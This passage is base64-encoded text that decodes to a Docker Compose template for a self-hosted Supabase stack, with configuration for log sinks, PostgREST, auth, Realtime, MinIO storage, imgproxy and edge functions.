uICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtICdHT1RSVUVfVVJJX0FMTE9XX0xJU1Q9JHtBRERJVElPTkFMX1JFRElSRUNUX1VSTFN9JwogICAgICAtICdHT1RSVUVfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgICAtIEdPVFJVRV9KV1RfQURNSU5fUk9MRVM9c2VydmljZV9yb2xlCiAgICAgIC0gR09UUlVFX0pXVF9BVUQ9YXV0aGVudGljYXRlZAogICAgICAtIEdPVFJVRV9KV1RfREVGQVVMVF9HUk9VUF9OQU1FPWF1dGhlbnRpY2F0ZWQKICAgICAgLSAnR09UUlVFX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgICAgLSAnR09UUlVFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9FTUFJTF9FTkFCTEVEPSR7RU5BQkxFX0VNQUlMX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9BTk9OWU1PVVNfVVNFUlNfRU5BQkxFRD0ke0VOQUJMRV9BTk9OWU1PVVNfVVNFUlM6LWZhbHNlfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9BVVRPQ09ORklSTT0ke0VOQUJMRV9FTUFJTF9BVVRPQ09ORklSTTotZmFsc2V9JwogICAgICAtICdHT1RSVUVfU01UUF9BRE1JTl9FTUFJTD0ke1NNVFBfQURNSU5fRU1BSUx9JwogICAgICAtICdHT1RSVUVfU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnR09UUlVFX1NNVFBfUE9SVD0ke1NNVFBfUE9SVDotNTg3fScKICAgICAgLSAnR09UUlVFX1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1BBU1M9JHtTTVRQX1BBU1N9JwogICAgICAtICdHT1RSVUVfU01UUF9TRU5ERVJfTkFNRT0ke1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0lOVklURT0ke01BSUxFUl9VUkxQQVRIU19JTlZJVEU6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1VSTFBBVEhTX0NPTkZJUk1BVElPTjotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWT0ke01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfVVJMUEFUSFNfRU1BSUxfQ0hBTkdFOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19JTlZJVEU9JHtNQUlMRVJfVEVNUExBVEVTX0lOVklURX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUlk9JHtNQUlMRVJfVEVNUExBVEVTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOSz0ke01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOS30nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT049JHtNQUlMRVJfU1VCSkVDVFNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWT0ke01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfU1VCSkVDVFNfTUFHSUNfTElOSz0ke01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfU1VCSkVDVFNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19JTlZJVEU9JHtNQUlMRVJfU1VCSkVDVFNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX1BIT05FX0VOQUJMRUQ9JHtFTkFCTEVfUEhPTkVfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX1NNU19BVVRPQ09ORklSTT0ke0VOQUJMRV9QSE9ORV9BVVRPQ09ORklSTTotdHJ1ZX0nCiAgcmVhbHRpbWUtZGV2OgogICAgaW1hZ2U6ICdzdXBhYmFzZS9yZWFsdGltZTp2Mi4zNC40NycKICAgIGNvbnRhaW5lcl9uYW1lOiByZWFsdGltZS1kZXYuc3VwYWJhc2UtcmVhbHRpbWUKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctLWhlYWQnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICctSCcKICAgICAgICAtICdBdXRob3JpemF0aW9uOiBCZWFyZXIgJHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvdGVuYW50cy9yZWFsdGltZS1kZXYvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gREJfVVNFUj1zdXBhYmFzZV9hZG1pbgogICAgICAtICdEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnREJfQUZURVJfQ09OTkVDVF9RVUVSWT1TRVQgc2VhcmNoX3BhdGggVE8gX3JlYWx0aW1lJwogICAgICAtIERCX0VOQ19LRVk9c3VwYWJhc2VyZWFsdGltZQogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBGTFlfQUxMT0NfSUQ9Zmx5MTIzCiAgICAgIC0gRkxZX0FQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFQ1JFVF9QQVNTV09SRF9SRUFMVElNRX0nCiAgICAgIC0gJ0VSTF9BRkxBR1M9LXByb3RvX2Rpc3QgaW5ldF90Y3AnCiAgICAgIC0gRU5BQkxFX1RBSUxTQ0FMRT1mYWxzZQogICAgICAtICJETlNfTk9ERVM9JyciCiAgICAgIC0gUkxJTUlUX05PRklMRT0xMDAwMAogICAgICAtIEFQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gU0VFRF9TRUxGX0hPU1Q9dHJ1ZQogICAgICAtIExPR19MRVZFTD1lcnJvcgogICAgICAtIFJVTl9KQU5JVE9SPXRydWUKICAgICAgLSBKQU5JVE9SX0lOVEVSVkFMPTYwMDAwCiAgICBjb21tYW5kOiAic2ggLWMgXCIvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3JlYWx0aW1lIGV2YWwgJ1JlYWx0aW1lLlJlbGVhc2Uuc2VlZHMoUmVhbHRpbWUuUmVwbyknICYmIC9hcHAvYmluL3NlcnZlclwiXG4iCiAgc3VwYWJhc2UtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDAxIiAvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi9kYXRhJwogIG1pbmlvLWNyZWF0ZWJ1Y2tldDoKICAgIGltYWdlOiBtaW5pby9tYwogICAgcmVzdGFydDogJ25vJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLW1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIC9lbnRyeXBvaW50LnNoCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9lbnRyeXBvaW50LnNoCiAgICAgICAgdGFyZ2V0OiAvZW50cnlwb2ludC5zaAogICAgICAgIGNvbnRlbnQ6ICIjIS9iaW4vc2hcbi91c3IvYmluL21jIGFsaWFzIHNldCBzdXBhYmFzZS1taW5pbyBodHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCAke01JTklPX1JPT1RfVVNFUn0gJHtNSU5JT19ST09UX1BBU1NXT1JEfTtcbi91c3IvYmluL21jIG1iIC0taWdub3JlLWV4aXN0aW5nIHN1cGFiYXNlLW1pbmlvL3N0dWI7XG5leGl0IDBcbiIKICBzdXBhYmFzZS1zdG9yYWdlOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdG9yYWdlLWFwaTp2MS4xNC42JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtcmVzdDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgICBpbWdwcm94eToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMC9zdGF0dXMnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWRVJfUE9SVD01MDAwCiAgICAgIC0gU0VSVkVSX1JFR0lPTj1sb2NhbAogICAgICAtIE1VTFRJX1RFTkFOVD1mYWxzZQogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX3N0b3JhZ2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gREJfSU5TVEFMTF9ST0xFUz1mYWxzZQogICAgICAtIFNUT1JBR0VfQkFDS0VORD1zMwogICAgICAtIFNUT1JBR0VfUzNfQlVDS0VUPXN0dWIKICAgICAgLSAnU1RPUkFHRV9TM19FTkRQT0lOVD1odHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCcKICAgICAgLSBTVE9SQUdFX1MzX0ZPUkNFX1BBVEhfU1RZTEU9dHJ1ZQogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPXVzLWVhc3QtMQogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtIFVQTE9BRF9GSUxFX1NJWkVfTElNSVQ9NTI0Mjg4MDAwCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVF9TVEFOREFSRD01MjQyODgwMDAKICAgICAgLSBVUExPQURfU0lHTkVEX1VSTF9FWFBJUkFUSU9OX1RJTUU9MTIwCiAgICAgIC0gVFVTX1VSTF9QQVRIPXVwbG9hZC9yZXN1bWFibGUKICAgICAgLSBUVVNfTUFYX1NJWkU9MzYwMDAwMAogICAgICAtIEVOQUJMRV9JTUFHRV9UUkFOU0ZPUk1BVElPTj10cnVlCiAgICAgIC0gJ0lNR1BST1hZX1VSTD1odHRwOi8vaW1ncHJveHk6ODA4MCcKICAgICAgLSBJTUdQUk9YWV9SRVFVRVNUX1RJTUVPVVQ9MTUKICAgICAgLSBEQVRBQkFTRV9TRUFSQ0hfUEFUSD1zdG9yYWdlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFJFUVVFU1RfQUxMT1dfWF9GT1JXQVJERURfUEFUSD10cnVlCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIGltZ3Byb3h5OgogICAgaW1hZ2U6ICdkYXJ0aHNpbS9pbWdwcm94eTp2My44LjAnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaW1ncHJveHkKICAgICAgICAtIGhlYWx0aAogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSU1HUFJPWFlfTE9DQUxfRklMRVNZU1RFTV9ST09UPS8KICAgICAgLSBJTUdQUk9YWV9VU0VfRVRBRz10cnVlCiAgICAgIC0gJ0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTj0ke0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTjotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIHN1cGFiYXNlLW1ldGE6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3Bvc3RncmVzLW1ldGE6djAuODkuMycKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUEdfTUVUQV9QT1JUPTgwODAKICAgICAgLSAnUEdfTUVUQV9EQl9IT1NUPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUEdfTUVUQV9EQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BHX01FVEFfREJfTkFNRT0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gUEdfTUVUQV9EQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ1BHX01FVEFfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICBzdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczoKICAgIGltYWdlOiAnc3VwYWJhc2UvZWRnZS1ydW50aW1lOnYxLjY3LjQnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnRWRnZSBGdW5jdGlvbnMgaXMgaGVhbHRoeScKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdTVVBBQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fU1VQQUJBU0VLT05HfScKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX1JPTEVfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnU1VQQUJBU0VfREJfVVJMPXBvc3RncmVzcWw6Ly9wb3N0Z3Jlczoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ